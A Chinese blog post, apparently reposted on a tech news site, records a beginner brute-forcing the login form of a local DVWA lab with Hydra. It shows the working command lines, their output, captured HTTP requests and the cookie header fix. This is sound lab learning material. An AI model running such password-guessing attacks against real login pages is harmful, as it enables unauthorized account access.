当前位置:首页 > 芯闻号 > 充电吧
[导读]刚刚开始学习web安全, 在本地机器上搭建了dvwa测试环境, 开始brute force的测试。 下面是通过浏览器显示出来的html代码 Username: Password:

刚刚开始学习web安全, 在本地机器上搭建了dvwa测试环境, 开始brute force的测试。

下面是通过浏览器显示出来的html代码

Username:

Password:


Username and/or password incorrect.


通过下方的链接http://hiderefer.com/?http://www.owasp.org/index.php/Testing_for_Brute_Force_%28OWASP-AT-004%29提供了两个暴力美学破解的工具, 由于本机环境是linux, 很自然的选择hydra(hydra是九头蛇的意思, 一般看到英文的软件名字, 如果不知道他的中文翻译或者是哪几个单词的缩写, 那么每次使用心里都会怪怪的)。

一开始认为暴力破解很简单, 就是提供一个用户名和密码(或者字典)给自动化工具, 然后就开始漫长的等待就行了, 所以也没多想, 直接运行命令:

hydra -l admin -P password.txt  127.0.0.1 http-get "/dvwa/vulnerabilities/brute/"

输出的结果如下:

Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-13 23:23:55
[DATA] 2 tasks, 1 server, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking service http-get on port 80
[80][www] host: 127.0.0.1   login: admin   password: aaaaa
[80][www] host: 127.0.0.1   login: admin   password: password
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-08-13 23:23:56


发现密码文件中的两个提供的密码都通过验证了, 明显不对。

第二次运行命令:

 hydra -l admin -P password.txt  127.0.0.1 http-get-form "/dvwa/vulnerabilities/brute/"

运行结果:

Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-13 23:26:32
[ERROR] the variables argument needs at least the strings ^USER^ or ^PASS^: (null)

这次直接报错, 原谅我这是第一次使用Hydra这个工具, 第一次接触暴力破解。

上google搜索了一下hydra的用法, 以及相关的资料, 第三次运行命令:

hydra -l admin -P password.txt -vV 127.0.0.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect."

输出结果如下:

Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-13 23:30:07
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] 2 tasks, 1 server, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking service http-get-form on port 80
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "aaaaa" - 1 of 2 [child 0]
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - 2 of 2 [child 1]
[VERBOSE] Page redirected to http://127.0.0.1/dvwa/vulnerabilities/brute/../../login.php
[VERBOSE] Page redirected to http://127.0.0.1/dvwa/vulnerabilities/brute/../../login.php
[80][www-form] host: 127.0.0.1   login: admin   password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[80][www-form] host: 127.0.0.1   login: admin   password: aaaaa
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-08-13 23:30:17

oh, my god, 这个和第一次是一样的。

然后开始对照是不是字母拼写错误或者最后的失败语句错了, 在确定一切都没错之后开始边怀疑这个工具的正确性边开始google类似的问题, 期间还使用了fireforce这个工具试了一把, 结果也不太对。 这个时候已经非常沮丧了, 处于崩溃的边缘了......终于在backtrack论坛上发现了有人也是类似的问题, 后面有人回复说这个不是BasicAuthentication, 而是Form-based Authentication, 还有人说得用burp suite或者wireshark抓包看看真相是什么。 好吧, 由于没有听说过HTTP Authentication这个名词, 赶紧去google一下, 还是OWASP的这篇文章https://www.owasp.org/index.php/Testing_for_Brute_Force_%28OWASP-AT-004%29解答了我这方面的全部疑惑, 期间顺便补充了一下Base64编码的知识, 这些之前仅仅处于听说过状态。

由于没有用过Burp Suite, 所以直接选择了wireshark, 抓包分析。

在页面上随便输入用户名和密码提交后, wireshark发现每次浏览器都会自动提交cookie:

GET /dvwa/vulnerabilities/brute/?username=admin&password=asdff&Login=Login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/dvwa/vulnerabilities/brute/
Cookie: security=low; PHPSESSID=o7qiqd9fc1d003u9d38k64t0f4
Connection: keep-alive

之后通过wireshark抓包发现这个cookie是在使用浏览器登录的时候就设置好的, 不同的浏览器cookie是不同的, 开始默认的security= high, 当修改安全级别后服务器会重新发送set-cookie 为low, 以后每次提交表单或者get 操作都要提交这个cookie, 负责服务器验证是通不过的。

下面是重新使用google浏览器登录dvwa, 服务器的response信息:

HTTP/1.1 302 Found
Date: Tue, 13 Aug 2013 15:55:30 GMT
Server: Apache/2.4.3 (Unix) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: PHPSESSID=uku6iitcv0hhhd9mvna69sl9v7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: security=high
Location: ../../login.php
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

当我们登录成功后将安全等级提交为low后, 可以看到cookie的变化如下:

POST /dvwa/security.php HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Content-Length: 33
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/dvwa/security.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: security=high; PHPSESSID=uku6iitcv0hhhd9mvna69sl9v7

security=low&seclev_submit=SubmitHTTP/1.1 302 Found
Date: Tue, 13 Aug 2013 15:57:03 GMT
Server: Apache/2.4.3 (Unix) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: security=low
Location: /dvwa/security.php
Content-Length: 0
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html

GET /dvwa/security.php HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
Referer: http://127.0.0.1/dvwa/security.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: security=low; PHPSESSID=uku6iitcv0hhhd9mvna69sl9v7


可以看到之后的cookie已经变过来了。


OK, 下面继续进行Hydra的命令操作, 第n次运行命令, 这个是使用的firefox浏览器:

 hydra -l admin -P password.txt  127.0.0.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=o7qiqd9fc1d003u9d38k64t0f4"


输出如下:

Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-14 00:13:37
[DATA] 2 tasks, 1 server, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking service http-get-form on port 80
[80][www-form] host: 127.0.0.1   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-08-14 00:13:37


可以看到这次的运行结果是正确的。 长舒一口气之后陷入了迷惑中, 通过运行hydra -h或者是man hydra并没有说有 :H这个说法, 上网google看到很多使用:C选项的, 这个工具到底怎么用, 什么时候使用:C 什么时候使用:H, google之后并没有发现有人说怎么用, 没办法, 只能去看源代码。 幸好是c语言的, 我的偏爱。

后来又经过wireshark抓包分析,以及对比源代码分析, 发现:C指定的是cookie文件的路径, 这个路径是服务器上的路径, 也就是说如果服务器上存放cookie的文件是/path/cookie, 那么就可以用:C=/path/cookie来指定hydra从服务器上获取cookie, 然后自动添加到每次的get或者post的http header中, 如果像dvwa这样没有cookie的专门文件或者我们不知道cookie的存放文件, 那么就用:H来每次手动指定。

如果指定了:C=/path/cookie 那么每次hydra提交之前首先会去get /path/cookie 来得到cookie, 然后每次分析response返回的信息,自动将cookie添加到http 的header中。

:H其实是用来手动添加Header 域的, 比如上面的我们手动添加了 :H=Cookie: security=low; PHPSESSID=o7qiqd9fc1d003u9d38k64t0f4, 这其实是告诉hydra每次get或者post的时候要添加上这个:H后面的头部的域。

通过大概的阅读源代码可以得知如果hydra捕获了response中的set-cookie, 那么我们也不用每次手动添加cookie。


目前为止已经基本弄明白了如何使用hydra来进行http的brute force测试, 后面还会继续尝试hydra应用于别的协议的暴力美学破解。

每天都有进步的生活是值得期待的!














本站声明: 本文章由作者或相关机构授权发布,目的在于传递更多信息,并不代表本站赞同其观点,本站亦不保证或承诺内容真实性等。需要转载请联系该专栏作者,如若文章内容侵犯您的权益,请及时联系本站删除。
换一批
延伸阅读

9月2日消息,不造车的华为或将催生出更大的独角兽公司,随着阿维塔和赛力斯的入局,华为引望愈发显得引人瞩目。

关键字: 阿维塔 塞力斯 华为

加利福尼亚州圣克拉拉县2024年8月30日 /美通社/ -- 数字化转型技术解决方案公司Trianz今天宣布,该公司与Amazon Web Services (AWS)签订了...

关键字: AWS AN BSP 数字化

伦敦2024年8月29日 /美通社/ -- 英国汽车技术公司SODA.Auto推出其旗舰产品SODA V,这是全球首款涵盖汽车工程师从创意到认证的所有需求的工具,可用于创建软件定义汽车。 SODA V工具的开发耗时1.5...

关键字: 汽车 人工智能 智能驱动 BSP

北京2024年8月28日 /美通社/ -- 越来越多用户希望企业业务能7×24不间断运行,同时企业却面临越来越多业务中断的风险,如企业系统复杂性的增加,频繁的功能更新和发布等。如何确保业务连续性,提升韧性,成...

关键字: 亚马逊 解密 控制平面 BSP

8月30日消息,据媒体报道,腾讯和网易近期正在缩减他们对日本游戏市场的投资。

关键字: 腾讯 编码器 CPU

8月28日消息,今天上午,2024中国国际大数据产业博览会开幕式在贵阳举行,华为董事、质量流程IT总裁陶景文发表了演讲。

关键字: 华为 12nm EDA 半导体

8月28日消息,在2024中国国际大数据产业博览会上,华为常务董事、华为云CEO张平安发表演讲称,数字世界的话语权最终是由生态的繁荣决定的。

关键字: 华为 12nm 手机 卫星通信

要点: 有效应对环境变化,经营业绩稳中有升 落实提质增效举措,毛利润率延续升势 战略布局成效显著,战新业务引领增长 以科技创新为引领,提升企业核心竞争力 坚持高质量发展策略,塑强核心竞争优势...

关键字: 通信 BSP 电信运营商 数字经济

北京2024年8月27日 /美通社/ -- 8月21日,由中央广播电视总台与中国电影电视技术学会联合牵头组建的NVI技术创新联盟在BIRTV2024超高清全产业链发展研讨会上宣布正式成立。 活动现场 NVI技术创新联...

关键字: VI 传输协议 音频 BSP

北京2024年8月27日 /美通社/ -- 在8月23日举办的2024年长三角生态绿色一体化发展示范区联合招商会上,软通动力信息技术(集团)股份有限公司(以下简称"软通动力")与长三角投资(上海)有限...

关键字: BSP 信息技术
关闭
关闭